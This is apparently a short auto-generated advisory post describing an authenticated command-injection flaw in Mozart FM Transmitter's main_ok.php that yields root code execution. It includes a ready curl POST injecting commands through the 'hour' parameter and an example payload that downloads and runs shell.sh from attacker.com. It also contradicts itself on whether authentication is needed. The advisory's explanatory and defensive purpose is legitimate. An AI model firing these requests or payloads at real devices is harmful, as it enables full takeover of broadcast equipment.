Listen to this Post
This vulnerability allows an authenticated attacker to execute arbitrary code with root privileges on the affected Mozart FM Transmitter devices. The flaw exists within the `main_ok.php` script, which improperly handles user-supplied input for parameters like data, hour, and time. These parameters are passed directly, without sanitization or validation, into a system call that constructs a shell command, specifically involving the `date` utility. An attacker can inject malicious shell metacharacters (e.g., semicolons, backticks) within these parameters. When the PHP script concatenates this tainted input into the shell command and executes it via functions like `exec()` or system(), the injected payload is run by the operating system with the highest level of privilege (root). This results in full remote command execution on the underlying host, allowing complete compromise of the transmitter device.
Platform: Mozart FM Transmitter
Version: Multiple versions
Vulnerability: Authenticated RCE
Severity: Critical
date: 11/25/2025
Prediction: Not provided
What Undercode Say:
curl -X POST 'http://target/main_ok.php' \ -H 'Cookie: authenticated_session=1' \ --data 'data=2025-01-01&hour=00;id;&time=00' Example injected payload in 'hour' parameter: 00; wget http://attacker.com/shell.sh -O /tmp/s; chmod +x /tmp/s; /tmp/s &
How Exploit:
Authentication Bypass Not Required
Craft Malicious POST Request
Inject Commands Via Parameters
Protection from this CVE
Input Validation/Sanitization
Apply Vendor Patch
Restrict Network Access
Impact:
Full Root Compromise
Arbitrary Command Execution
Complete System Control
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
